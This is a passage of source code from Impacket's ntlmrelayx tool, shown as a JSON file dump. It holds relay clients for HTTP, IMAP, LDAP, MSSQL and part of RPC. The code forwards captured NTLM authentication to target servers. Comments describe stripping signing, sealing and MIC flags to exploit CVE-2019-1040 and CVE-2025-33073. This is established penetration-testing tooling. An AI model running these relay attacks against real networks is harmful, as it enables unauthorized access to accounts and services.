request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[\n            'user_name'].decode('utf-16le')\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge\n        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']\n\n        authenticator = nrpc.NETLOGON_AUTHENTICATOR()\n        authenticator['Credential'] = b'\\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)\n        authenticator['Timestamp'] = 0\n\n        request['Authenticator'] = authenticator\n        request['ReturnAuthenticator']['Credential'] = b'\\x00'*8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['ExtraFlags'] = 0\n        #request.dump()\n        try:\n            resp = dce.request(request)\n            #resp.dump()\n        except DCERPCException as e:\n            LOG.debug('Exception:', exc_info=True)\n            LOG.error(str(e))\n            return e.get_error_code()\n\n        LOG.info(\"%s\\\\%s successfully validated through NETLOGON\" % (\n        domainName, authenticateMessage['user_name'].decode('utf-16le')))\n\n        encryptedSessionKey = authenticateMessage['session_key']\n        if encryptedSessionKey != '':\n            signingKey = generateEncryptedSessionKey(\n                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)\n        else:\n            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']\n\n        LOG.info(\"NTLM Sign/seal key: %s \" % hexlify(signingKey).decode('utf-8'))\n        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)\n            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b\"Server\")\n            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)\n            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b\"Server\")\n            # Preparing the keys handle states\n            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)\n            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt\n            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)\n            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt\n        else:\n            # Same key for everything\n            self.session._DCERPC_v5__clientSigningKey = signingKey\n            self.session._DCERPC_v5__serverSigningKey = signingKey\n            self.session._DCERPC_v5__clientSealingKey = signingKey\n            self.session._DCERPC_v5__serverSealingKey = signingKey\n            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)\n            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt\n            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt\n        self.session._DCERPC_v5__sequence = 0\n        self.session._DCERPC_v5__flags = flags\n        return signingKey\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.get_rpc_transport().disconnect()\n            self.session = None\n\n    def keepAlive(self):\n        return\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/httprelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   HTTP Protocol Client\n#   HTTP(s) client for relaying NTLMSSP authentication to webservers\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Alberto Solino (@agsolino)\n#\nimport re\nimport ssl\ntry:\n    from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady\nexcept ImportError:\n    from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady\nimport base64\n\nfrom struct import unpack\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASSES = [\"HTTPRelayClient\",\"HTTPSRelayClient\"]\n\nclass HTTPRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"HTTP\"\n\n    def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n        self.extendedSecurity = extendedSecurity\n        self.negotiateMessage = None\n        self.authenticateMessageBlob = None\n        self.server = None\n        self.authenticationMethod = None\n\n    def initConnection(self):\n        self.session = HTTPConnection(self.targetHost,self.targetPort)\n        self.lastresult = None\n        if self.target.path == '':\n            self.path = '/'\n        else:\n            self.path = self.target.path\n        self.query = self.target.query\n        return True\n\n    def sendNegotiate(self,negotiateMessage):\n        #Check if server wants auth\n        if self.query:\n            self.session.request('GET', self.path + '?' + self.query)\n        else:\n            self.session.request('GET', self.path)\n        res = self.session.getresponse()\n        res.read()\n        if res.status != 401:\n            LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)\n        try:\n            if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):\n                LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))\n                return False\n            if 'NTLM' in res.getheader('WWW-Authenticate'):\n                self.authenticationMethod = \"NTLM\"\n            elif 'Negotiate' in res.getheader('WWW-Authenticate'):\n                self.authenticationMethod = \"Negotiate\"\n        except (KeyError, TypeError):\n            LOG.error('No authentication requested by the server for url %s' % self.targetHost)\n            if self.serverConfig.isADCSAttack:\n                LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')\n                self.authenticationMethod = \"NTLM\"\n            else:\n                return False\n\n        #Negotiate auth\n        negotiate = base64.b64encode(negotiateMessage).decode(\"ascii\")\n        headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}\n        if self.query:\n            self.session.request('GET', self.path + '?' + self.query, headers=headers)\n        else:\n            self.session.request('GET', self.path, headers=headers)\n        res = self.session.getresponse()\n        res.read()\n        try:\n            serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)\n            serverChallenge = base64.b64decode(serverChallengeBase64)\n            challenge = NTLMAuthChallenge()\n            challenge.fromString(serverChallenge)\n            return challenge\n        except (IndexError, KeyError, AttributeError):\n            LOG.error('No NTLM challenge returned from server')\n            return False\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2['ResponseToken']\n        else:\n            token = authenticateMessageBlob\n        auth = base64.b64encode(token).decode(\"ascii\")\n        headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}\n        if self.query:\n            self.session.request('GET', self.path + '?' + self.query, headers=headers)\n        else:\n            self.session.request('GET', self.path, headers=headers)\n        res = self.session.getresponse()\n        if res.status == 401:\n            return None, STATUS_ACCESS_DENIED\n        else:\n            LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)\n            #Cache this\n            self.lastresult = res.read()\n            return None, STATUS_SUCCESS\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.close()\n            self.session = None\n\n    def keepAlive(self):\n        # Do a HEAD for favicon.ico\n        self.session.request('HEAD','/favicon.ico')\n        self.session.getresponse()\n\nclass HTTPSRelayClient(HTTPRelayClient):\n    PLUGIN_NAME = \"HTTPS\"\n\n    def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):\n        HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n    def initConnection(self):\n        self.lastresult = None\n        if self.target.path == '':\n            self.path = '/'\n        else:\n            self.path = self.target.path\n        self.query = self.target.query\n        try:\n            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n            self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)\n        except AttributeError:\n            self.session = HTTPSConnection(self.targetHost,self.targetPort)\n        return True\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/imaprelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   IMAP Protocol Client\n#   IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Alberto Solino (@agsolino)\n#\nimport imaplib\nimport base64\nfrom struct import unpack\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASSES = [\"IMAPRelayClient\",\"IMAPSRelayClient\"]\n\nclass IMAPRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"IMAP\"\n\n    def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n    def initConnection(self):\n        self.session = imaplib.IMAP4(self.targetHost,self.targetPort)\n        self.authTag = self.session._new_tag()\n        LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))\n        if 'AUTH=NTLM' not in self.session.capabilities:\n            LOG.error('IMAP server does not support NTLM authentication!')\n            return False\n        return True\n\n    def sendNegotiate(self,negotiateMessage):\n        negotiate = base64.b64encode(negotiateMessage)\n        self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))\n        resp = self.session.readline().strip()\n        if resp != '+':\n            LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)\n            return False\n        else:\n            self.session.send(negotiate + imaplib.CRLF)\n        try:\n            serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char\n            serverChallenge = base64.b64decode(serverChallengeBase64)\n            challenge = NTLMAuthChallenge()\n            challenge.fromString(serverChallenge)\n            return challenge\n        except (IndexError, KeyError, AttributeError):\n            LOG.error('No NTLM challenge returned from IMAP server')\n            raise\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2['ResponseToken']\n        else:\n            token = authenticateMessageBlob\n        auth = base64.b64encode(token)\n        self.session.send(auth + imaplib.CRLF)\n        typ, data = self.session._get_tagged_response(self.authTag)\n        if typ == 'OK':\n            self.session.state = 'AUTH'\n            return None, STATUS_SUCCESS\n        else:\n            LOG.error('IMAP: %s' % ' '.join(data))\n            return None, STATUS_ACCESS_DENIED\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.logout()\n            self.session = None\n\n    def keepAlive(self):\n        # Send a NOOP\n        self.session.noop()\n\nclass IMAPSRelayClient(IMAPRelayClient):\n    PLUGIN_NAME = \"IMAPS\"\n\n    def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)\n\n    def initConnection(self):\n        self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)\n        self.authTag = self.session._new_tag()\n        LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))\n        if 'AUTH=NTLM' not in self.session.capabilities:\n            LOG.error('IMAP server does not support NTLM authentication!')\n            return False\n        return True\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/ldaprelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   LDAP Protocol Client\n#   LDAP client for relaying NTLMSSP authentication to LDAP servers\n#   The way of using the ldap3 library is quite hacky, but its the best\n#   way to make the lib do things it wasn't designed to without touching\n#   its code\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Alberto Solino (@agsolino)\n#\nimport sys\nfrom struct import unpack\nfrom impacket import LOG\nfrom ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD\nfrom ldap3.operation import bind\ntry:\n    from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED\nexcept ImportError:\n    LOG.fatal(\"ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'\")\n    sys.exit(1)\n\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import (\n    NTLMAuthChallenge,\n    NTLMSSP_AV_FLAGS,\n    AV_PAIRS,\n    NTLMAuthNegotiate,\n    NTLMSSP_NEGOTIATE_SIGN,\n    NTLMSSP_NEGOTIATE_SEAL,\n    NTLMSSP_NEGOTIATE_ALWAYS_SIGN,\n    NTLMAuthChallengeResponse,\n    NTLMSSP_NEGOTIATE_KEY_EXCH,\n    NTLMSSP_NEGOTIATE_VERSION)\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASSES = [\"LDAPRelayClient\", \"LDAPSRelayClient\"]\n\nclass LDAPRelayClientException(Exception):\n    pass\n\nclass LDAPRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"LDAP\"\n    MODIFY_ADD = MODIFY_ADD\n\n    def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n        self.extendedSecurity = extendedSecurity\n        self.negotiateMessage = None\n        self.authenticateMessageBlob = None\n        self.server = None\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.socket.close()\n            self.session = None\n\n    def initConnection(self):\n        self.server = Server(\"ldap://%s:%s\" % (self.targetHost, self.targetPort), get_info=ALL)\n        self.session = Connection(self.server, user=\"a\", password=\"b\", authentication=NTLM)\n        self.session.open(False)\n        return True\n\n    def sendNegotiate(self, negotiateMessage):\n        negoMessage = NTLMAuthNegotiate()\n        negoMessage.fromString(negotiateMessage)\n\n        # When exploiting CVE-2019-1040, remove message signing flag\n        # For SMB->LDAP this is required otherwise it triggers LDAP signing\n        # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM\n        # CVE-2025-33073 also requires removing the sign flags\n        if self.serverConfig.remove_mic or self.serverConfig.remove_sign_seal:\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n\n        # When exploiting CVE-2025-33073, remove SEAL in addition to SIGN/ALWAYS_SIGN.\n        if self.serverConfig.remove_sign_seal:\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == NTLMSSP_NEGOTIATE_SEAL:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SEAL\n\n        self.negotiateMessage = negoMessage.getData()\n\n        # Warn if the relayed target requests signing, which will break our attack\n        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n            LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')\n\n        with self.session.connection_lock:\n            if not self.session.sasl_in_progress:\n                self.session.sasl_in_progress = True\n                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')\n                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))\n                result = response[0]\n                try:\n                    sicily_packages = result['server_creds'].decode('ascii').split(';')\n                except KeyError:\n                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)\n\n                if 'NTLM' in sicily_packages:  # NTLM available on server\n                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)\n                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))\n                    result = response[0]\n                    if result['result'] == RESULT_SUCCESS:\n                        challenge = NTLMAuthChallenge()\n                        challenge.fromString(result['server_creds'])\n                        self.sessionData['CHALLENGE_MESSAGE'] = challenge\n                        return challenge\n                else:\n                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')\n\n    #This is a fake function for ldap3 which wants an NTLM client with specific methods\n    def create_negotiate_message(self):\n        return self.negotiateMessage\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2['ResponseToken']\n        else:\n            token = authenticateMessageBlob\n\n        authMessage = NTLMAuthChallengeResponse()\n        authMessage.fromString(token)\n        # When exploiting CVE-2019-1040, remove flags\n        if self.serverConfig.remove_mic:\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION\n            authMessage['MIC'] = b''\n            authMessage['MICLen'] = 0\n            authMessage['Version'] = b''\n            authMessage['VersionLen'] = 0\n            token = authMessage.getData()\n\n        if self.serverConfig.remove_sign_seal:\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == NTLMSSP_NEGOTIATE_SEAL:\n                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SEAL\n            token = authMessage.getData()\n\n        with self.session.connection_lock:\n            self.authenticateMessageBlob = token\n            request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)\n            response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))\n            result = response[0]\n        self.session.sasl_in_progress = False\n\n        if result['result'] == RESULT_SUCCESS:\n            self.session.bound = True\n            self.session.refresh_server_info()\n            return None, STATUS_SUCCESS\n        else:\n            if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':\n                raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')\n        return None, STATUS_ACCESS_DENIED\n\n    #This is a fake function for ldap3 which wants an NTLM client with specific methods\n    def create_authenticate_message(self):\n        return self.authenticateMessageBlob\n\n    #Placeholder function for ldap3\n    def parse_challenge_message(self, message):\n        pass\n\n    def keepAlive(self):\n        # Basic LDAP query to keep the connection alive\n        self.session.search(search_base='',\n            search_filter='(objectClass=*)',\n            search_scope='BASE',\n            attributes=['namingContexts'])\n\nclass LDAPSRelayClient(LDAPRelayClient):\n    PLUGIN_NAME = \"LDAPS\"\n    MODIFY_ADD = MODIFY_ADD\n\n    def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):\n        LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n    def initConnection(self):\n        self.server = Server(\"ldaps://%s:%s\" % (self.targetHost, self.targetPort), get_info=ALL)\n        self.session = Connection(self.server, user=\"a\", password=\"b\", authentication=NTLM)\n        self.session.open(False)\n        return True\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   MSSQL (TDS) Protocol Client\n#   MSSQL client for relaying NTLMSSP authentication to MSSQL servers\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Aurélien Chalot (@Defte_) rework the TLS handshake as in tds.py\n#\n# ToDo:\n#   [ ] Handle SQL Authentication\n#\n\nimport ssl\nimport random\nimport string\nfrom struct import unpack\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \\\n    TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASS = \"MSSQLRelayClient\"\n\nclass MYMSSQL(MSSQL):\n    def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):\n        MSSQL.__init__(self,address, port, rowsPrinter)\n        self.resp = None\n        self.sessionData = {}\n\n    def initConnection(self):\n        self.connect()\n        #This is copied from tds.py\n        resp = self.preLogin()\n        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:\n            LOG.info(\"Encryption required, switching to TLS\")\n            # Creates a TLS context\n            context = ssl.SSLContext()\n            context.set_ciphers('ALL:@SECLEVEL=0')\n            context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED\n            context.verify_mode = ssl.CERT_NONE\n            \n            # Here comes the important part, MSSQL server does not expect a raw TLS socket\n            # Instead it expects TDS packets to be sent in which TLS data is embedded\n            # Something like TDS_PACKET[\"Data\"] = TLS_ENCRYPTED(data)\n            # To setup such a TLS tunnel inside another program, we need to use a STARTTLS like mechanism\n            # Which relies on MemoryBIO that are used to send data to the TLS context and receive data from it as well\n            # IN_BIO is where we send data to be encrypted and sent to the MSSQL server\n            in_bio = ssl.MemoryBIO()\n            # OUT_BIO is where we read data send by the MSSQL server inside a TDS packet\n            out_bio = ssl.MemoryBIO()\n\n            # Now we can create the TLS object that will be used to manage handshake and data processing\n            tls = context.wrap_bio(in_bio, out_bio)\n\n            # So first let's handshake with the remote MSSQL server\n            while True:\n                try:\n                    # This sends the TLS client hello\n                    tls.do_handshake()\n                except ssl.SSLWantReadError:\n                    # If we get a SSLWantReadError then it means the server received enough data and want to send some to us\n                    # So we read the data sent by the server and we send it back to it inside a TDS_PRE_LOGIN packet\n                    # That's the actual TLS server hello\n                    data = out_bio.read(4096)\n                    self.sendTDS(TDS_PRE_LOGIN, data, 0)\n\n                    # Now we read data one more time to extract the final TLS message\n                    tds_packet = self.recvTDS(4096)\n                    tls_data = tds_packet[\"Data\"]\n\n                    # And we send that data to the in_bio object to complete the handshake\n                    in_bio.write(tls_data)\n                else:\n                    break              \n\n            # At this point the TLS context is set up so we just store object inside the MSSQL class\n            # That will be used to encryp/decrpt data and send them to the MSSQL server\n            self.packetSize = 16 * 1024 - 1\n            self.tlsSocket = tls\n            self.in_bio = in_bio\n            self.out_bio = out_bio\n            self.resp = resp\n        return True\n\n    def sendNegotiate(self,negotiateMessage):\n        #Also partly copied from tds.py\n        login = TDS_LOGIN()\n\n        login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')\n        login['AppName']  = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')\n        login['ServerName'] = self.server.encode('utf-16le')\n        login['CltIntName']  = login['AppName']\n        login['ClientPID'] = random.randint(0, 1024)\n        login['PacketSize'] = self.packetSize\n        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON\n\n        # NTLMSSP Negotiate\n        login['SSPI'] = negotiateMessage\n        login['Length'] = len(login.getData())\n\n        # Send the NTLMSSP Negotiate\n        self.sendTDS(TDS_LOGIN7, login.getData())\n\n        # According to the specs, if encryption is not required, we must encrypt just\n        # the first Login packet :-o\n        if self.resp['Encryption'] == TDS_ENCRYPT_OFF:\n            self.tlsSocket = None\n\n        tds = self.recvTDS()\n        self.sessionData['NTLM_CHALLENGE'] = tds\n\n        challenge = NTLMAuthChallenge()\n        challenge.fromString(tds['Data'][3:])\n\n        return challenge\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2['ResponseToken']\n        else:\n            token = authenticateMessageBlob\n\n        self.sendTDS(TDS_SSPI, token)\n        tds = self.recvTDS()\n        self.replies = self.parseReply(tds['Data'])\n        if TDS_LOGINACK_TOKEN in self.replies:\n            #Once we are here, there is a full connection and we can\n            #do whatever the current user has rights to do\n            self.sessionData['AUTH_ANSWER'] = tds\n            return None, STATUS_SUCCESS\n        else:\n            self.printReplies()\n            return None, STATUS_ACCESS_DENIED\n\n    def close(self):\n        return self.disconnect()\n\n\nclass MSSQLRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"MSSQL\"\n\n    def __init__(self, serverConfig, targetHost, targetPort=1433, extendedSecurity=True):\n        ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)\n        self.extendedSecurity = extendedSecurity\n\n        self.domainIp = None\n        self.machineAccount = None\n        self.machineHashes = None\n\n    def initConnection(self):\n        self.session = MYMSSQL(self.targetHost, self.targetPort)\n        self.session.initConnection()\n        return True\n\n    def keepAlive(self):\n        # Don't know yet what needs to be done for TDS\n        pass\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.disconnect()\n            self.session = None\n\n    def sendNegotiate(self, negotiateMessage):\n        return self.session.sendNegotiate(negotiateMessage)\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        self.sessionData = self.session.sessionData\n        return self.session.sendAuth(authenticateMessageBlob, serverChallenge)\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/rpcrelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Authors:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#   Based on @agsolino and @_dirkjan code\n#\n\nfrom struct import unpack\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nfrom impacket.dcerpc.v5 import transport, rpcrt, epm, tsch, icpr\nfrom impacket.dcerpc.v5 import transport, rpcrt, epm, tsch\nfrom impacket.dcerpc.v5.ndr import NDRCALL\nfrom impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \\\n    MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \\\n    rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_NONE\n\nPROTOCOL_CLIENT_CLASS = \"RPCRelayClient\"\n\nclass RPCRelayClientException(Exception):\n    pass\n\nclass MYDCERPC_v5(DCERPC_v5):\n    def __init__(self, transport):\n        DCERPC_v5.__init__(self, transport)\n\n    def sendBindType1(self, iface_uuid, auth_data):\n        bind = MSRPCBind()\n\n        item = CtxItem()\n        item['AbstractSyntax'] = iface_uuid\n        item['TransferSyntax'] = self.transfer_syntax\n        item['ContextID'] = 0\n        item['TransItems'] = 1\n        bind.addCtxItem(item)\n\n        packet = MSRPCHeader()\n        packet['type'] = rpcrt.MSRPC_BIND\n        packet['pduData'] = bind.getData()\n        packet['call_id'] = 0\n\n        sec_trailer = SEC_TRAILER()\n        sec_trailer['auth_type']   = 